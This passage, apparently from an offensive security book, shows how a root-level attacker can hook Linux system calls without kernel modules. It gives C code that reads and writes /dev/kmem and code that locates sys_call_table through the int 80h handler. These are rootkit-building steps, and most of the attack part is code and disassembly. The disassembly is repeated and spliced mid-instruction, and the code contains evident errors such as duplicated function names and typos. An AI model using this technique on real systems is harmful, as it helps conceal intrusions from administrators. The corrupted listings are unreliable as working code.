When Modules Are Unavailable

To overcome LKM rootkits, some administrators compile the kernel without support for LKMs and remove the system.map file, thus leaving hackers without a symbol table. Without this table, it is practically impossible to find anything. However, hackers manage to survive even under these severe conditions.

UNIX ideology favorably differs from Windows in that any entity, be it a device, process, or network connection, is mounted to the file system according to common rules. This is also true for the main memory, which is represented by pseudodevices such as /dev/mem (physical memory before virtual translation) and /dev/kmem (physical memory after virtual translation). Only root can manipulate over these devices; nevertheless, root doesn't need to go down to the kernel level. Consequently, support for modules also is not needed.

Listing 13.9 demonstrates the technique of reading from and writing to the kernel memory from the application level.

Listing 13.9: Reading from and writing to /dev/kmem from the application level
image from book
 // Reading data from /dev/kmem static inline int wkm(int fd, int offset, void *buf, int size) {         if (lseek(fd, offset, 0) != offset) return 0;         if (read(fd, buf, size) != size) return 0;         return size; } // Writing data to /dev/kmem static inline int wkm(int fd, int offset, void *buf, int size) {         if (lseek(fd, offset, 0) != offset) return 0;         if (write(fd, buf, size) != size) return 0;         return size; } 
image from book
 

Now it only remains to find the syscalls table in that garbage. How is it possible to find it if there is no symbolic information? Hackers never become panic-stricken. They use the CPU and machine code of the int 80h interrupt handler (this interrupt is the one responsible for these system calls).

The disassembled listing of this int 80h interrupt handler generally appears as shown in Listing 13.10.

Listing 13.10: Fragment of the disassembled code of the int 80h interrupt handler
image from book
 0xc0106bc8 <system_call>:      PUSH  %EAX 0xc0106bc9 <system_call+1>:    CLD 0xc0106bca <system_call+2>:    PUSH  %ES 0xc0106bcb <system_call+3>:    PUSH  %DS 0xc0106bcc <system_call+4>:    PUSH  %EAX 0xc0106bcd <system_call+5>:    PUSH  %EBP 0xc0106bce <system_call+6>:    PUSH  %EDI 0xc0106bcf <system_call+7>:    PUSH  %ESI 0xc0106bd0 <system_call+8>:    PUSH  %EDX 0xc0106bd1 <system_call+9>:    PUSH  %ECX 0xc0106bd2 <system_call+10>:   PUSH  %EBX 0xc0106bd3 <system_call+11>:   MOV 
 0xc0106bc8 <system_call>: PUSH %EAX 0xc0106bc9 <system_call+1>: CLD 0xc0106bca <system_call+2>: PUSH %ES 0xc0106bcb <system_call+3>: PUSH %DS 0xc0106bcc <system_call+4>: PUSH %EAX 0xc0106bcd <system_call+5>: PUSH %EBP 0xc0106bce <system_call+6>: PUSH %EDI 0xc0106bcf <system_call+7>: PUSH %ESI 0xc0106bd0 <system_call+8>: PUSH %EDX 0xc0106bd1 <system_call+9>: PUSH %ECX 0xc0106bd2 <system_call+10>: PUSH %EBX 0xc0106bd3 <system_call+11>: MOV $0x18, %EDX 0xc0106bd8 <system_call+16>: MOV %EDX, %DS 0xc0106bda <system_call+18>: MOV %EDX, %ES 0xc0106bdc <system_call+20>: MOV $0xffffe000, %EBX 0xc0106be1 <system_call+25>: AND %ESP, %EBX 0xc0106be3 <system_call+27>: CMP $0x100, %EAX 0xc0106be8 <system_call+32>: JAE 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: TESTB $0x2, 0x18(%EBX) 0xc0106bf2 <system_call+42>: JNE 0xc0106c48 <tracesys>  0xc0106bf4 <system_call+44>: CALL *0xc01e0f18<, %EAX, 4) <-- That's it.  0xc0106bfb <system_call+51>: MOV %EAX, 0x18(%ESP, 1) 0xc0106bff <system_call+55>: NOP 
x18, %EDX 0xc0106bd8 <system_call+16>: MOV %EDX, %DS 0xc0106bda <system_call+18>: MOV %EDX, %ES 0xc0106bdc <system_call+20>: MOV
 0xc0106bc8 <system_call>: PUSH %EAX 0xc0106bc9 <system_call+1>: CLD 0xc0106bca <system_call+2>: PUSH %ES 0xc0106bcb <system_call+3>: PUSH %DS 0xc0106bcc <system_call+4>: PUSH %EAX 0xc0106bcd <system_call+5>: PUSH %EBP 0xc0106bce <system_call+6>: PUSH %EDI 0xc0106bcf <system_call+7>: PUSH %ESI 0xc0106bd0 <system_call+8>: PUSH %EDX 0xc0106bd1 <system_call+9>: PUSH %ECX 0xc0106bd2 <system_call+10>: PUSH %EBX 0xc0106bd3 <system_call+11>: MOV $0x18, %EDX 0xc0106bd8 <system_call+16>: MOV %EDX, %DS 0xc0106bda <system_call+18>: MOV %EDX, %ES 0xc0106bdc <system_call+20>: MOV $0xffffe000, %EBX 0xc0106be1 <system_call+25>: AND %ESP, %EBX 0xc0106be3 <system_call+27>: CMP $0x100, %EAX 0xc0106be8 <system_call+32>: JAE 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: TESTB $0x2, 0x18(%EBX) 0xc0106bf2 <system_call+42>: JNE 0xc0106c48 <tracesys>  0xc0106bf4 <system_call+44>: CALL *0xc01e0f18<, %EAX, 4) <-- That's it.  0xc0106bfb <system_call+51>: MOV %EAX, 0x18(%ESP, 1) 0xc0106bff <system_call+55>: NOP 
xffffe000, %EBX 0xc0106be1 <system_call+25>: AND %ESP, %EBX 0xc0106be3 <system_call+27>: CMP
 0xc0106bc8 <system_call>: PUSH %EAX 0xc0106bc9 <system_call+1>: CLD 0xc0106bca <system_call+2>: PUSH %ES 0xc0106bcb <system_call+3>: PUSH %DS 0xc0106bcc <system_call+4>: PUSH %EAX 0xc0106bcd <system_call+5>: PUSH %EBP 0xc0106bce <system_call+6>: PUSH %EDI 0xc0106bcf <system_call+7>: PUSH %ESI 0xc0106bd0 <system_call+8>: PUSH %EDX 0xc0106bd1 <system_call+9>: PUSH %ECX 0xc0106bd2 <system_call+10>: PUSH %EBX 0xc0106bd3 <system_call+11>: MOV $0x18, %EDX 0xc0106bd8 <system_call+16>: MOV %EDX, %DS 0xc0106bda <system_call+18>: MOV %EDX, %ES 0xc0106bdc <system_call+20>: MOV $0xffffe000, %EBX 0xc0106be1 <system_call+25>: AND %ESP, %EBX 0xc0106be3 <system_call+27>: CMP $0x100, %EAX 0xc0106be8 <system_call+32>: JAE 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: TESTB $0x2, 0x18(%EBX) 0xc0106bf2 <system_call+42>: JNE 0xc0106c48 <tracesys>  0xc0106bf4 <system_call+44>: CALL *0xc01e0f18<, %EAX, 4) <-- That's it.  0xc0106bfb <system_call+51>: MOV %EAX, 0x18(%ESP, 1) 0xc0106bff <system_call+55>: NOP 
x100, %EAX 0xc0106be8 <system_call+32>: JAE 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: TESTB
 0xc0106bc8 <system_call>: PUSH %EAX 0xc0106bc9 <system_call+1>: CLD 0xc0106bca <system_call+2>: PUSH %ES 0xc0106bcb <system_call+3>: PUSH %DS 0xc0106bcc <system_call+4>: PUSH %EAX 0xc0106bcd <system_call+5>: PUSH %EBP 0xc0106bce <system_call+6>: PUSH %EDI 0xc0106bcf <system_call+7>: PUSH %ESI 0xc0106bd0 <system_call+8>: PUSH %EDX 0xc0106bd1 <system_call+9>: PUSH %ECX 0xc0106bd2 <system_call+10>: PUSH %EBX 0xc0106bd3 <system_call+11>: MOV $0x18, %EDX 0xc0106bd8 <system_call+16>: MOV %EDX, %DS 0xc0106bda <system_call+18>: MOV %EDX, %ES 0xc0106bdc <system_call+20>: MOV $0xffffe000, %EBX 0xc0106be1 <system_call+25>: AND %ESP, %EBX 0xc0106be3 <system_call+27>: CMP $0x100, %EAX 0xc0106be8 <system_call+32>: JAE 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: TESTB $0x2, 0x18(%EBX) 0xc0106bf2 <system_call+42>: JNE 0xc0106c48 <tracesys>  0xc0106bf4 <system_call+44>: CALL *0xc01e0f18<, %EAX, 4) <-- That's it.  0xc0106bfb <system_call+51>: MOV %EAX, 0x18(%ESP, 1) 0xc0106bff <system_call+55>: NOP 
x2, 0x18(%EBX) 0xc0106bf2 <system_call+42>: JNE 0xc0106c48 <tracesys> 0xc0106bf4 <system_call+44>: CALL *0xc01e0f18<, %EAX, 4) <-- That's it. 0xc0106bfb <system_call+51>: MOV %EAX, 0x18(%ESP, 1) 0xc0106bff <system_call+55>: NOP
image from book
 

At the OC0106BF4h address is the call command, the direct argument of which is the pointer to the syscall table. The address of the call command might change from kernel to kernel, and in some kernels it might even be different from call , because in some kernels the pointer to the system calls table is passed via intermediate pointer by the mov command. Briefly, it is necessary to find a command with one argument that is the direct operand X > 0C000000h . To find this command, the hacker will have to write a simple disassembler (this sounds frightening, but the devil is not so terrible as he is painted ) or find a ready-to-use engine on the Internet. There is plenty of such software on the Internet.

How is it possible to find the address of the int 80h interrupt handler in the dev/kmem file? Nothing can be easier ” just ask the processor and it will provide the required information. The sidt command returns the contents of the interrupt descriptor table, and the element number 80h from the left is the required handler (Fig. 13.6).

image from book
Figure 13.6: Viewing /dev/mem in a HEX editor

Listing 13.11 provides the code fragment that determines the position of system calls in /dev/kmem (the complete version of this code can be found in the " Linux on-the-fly kernel patching without LKM " article from issue 58 of the Phrack e-zine).

Listing 13.11: Searching for the int 80h interrupt handler inside /dev/kmem
image from book
 // Analyze the first 100 bytes of the handler. #define CALLOFF 100 main () {         unsigned sys_call_off;         unsigned sct;         char sc_asm[CALLOFF], *p;         // Read the contents of the interrupt table.         asm (  "  sidt %0" : "=m" (idtr));         printf("idtr base at 0x%X\n", (int)idtr.base);        // Open /dev/kmem.         kmem = open ("/dev/kmem", O_RDONLY);         if (kmem < 0) return 1;         // The function reads the code of the int 80h interrupt handler         // from /dev/kmem.         readkmem (&idt, idtr.base + 8*0x80, sizeof(idt));         sys_call_off = (idt.off2 << 16)  idt.off1;         printf("idt80: flags=%X sel=%X off=%X\n",         (unsigned)idt.flags,(unsigned)idt.sel, sys_call_off);         // Search for the indirect call with the direct operand.         // The code of the dispatch function is not shown here.         dispatch (indirect call) */         readkmem (sc_asm, sys_call_off,  CALLOFF);         p = (char*)meirmem (sc_asm, CALLOFF, "\xff\xl4\x85", 3);         sct  =  *(unsigned*) (p + 3);         if (p)         {            printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);         }         close(kmem); } 
image from book
 


Shellcoder's Programming Uncovered
Shellcoders Programming Uncovered (Uncovered series)
ISBN: 193176946X
EAN: 2147483647
Year: 2003
Pages: 164

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net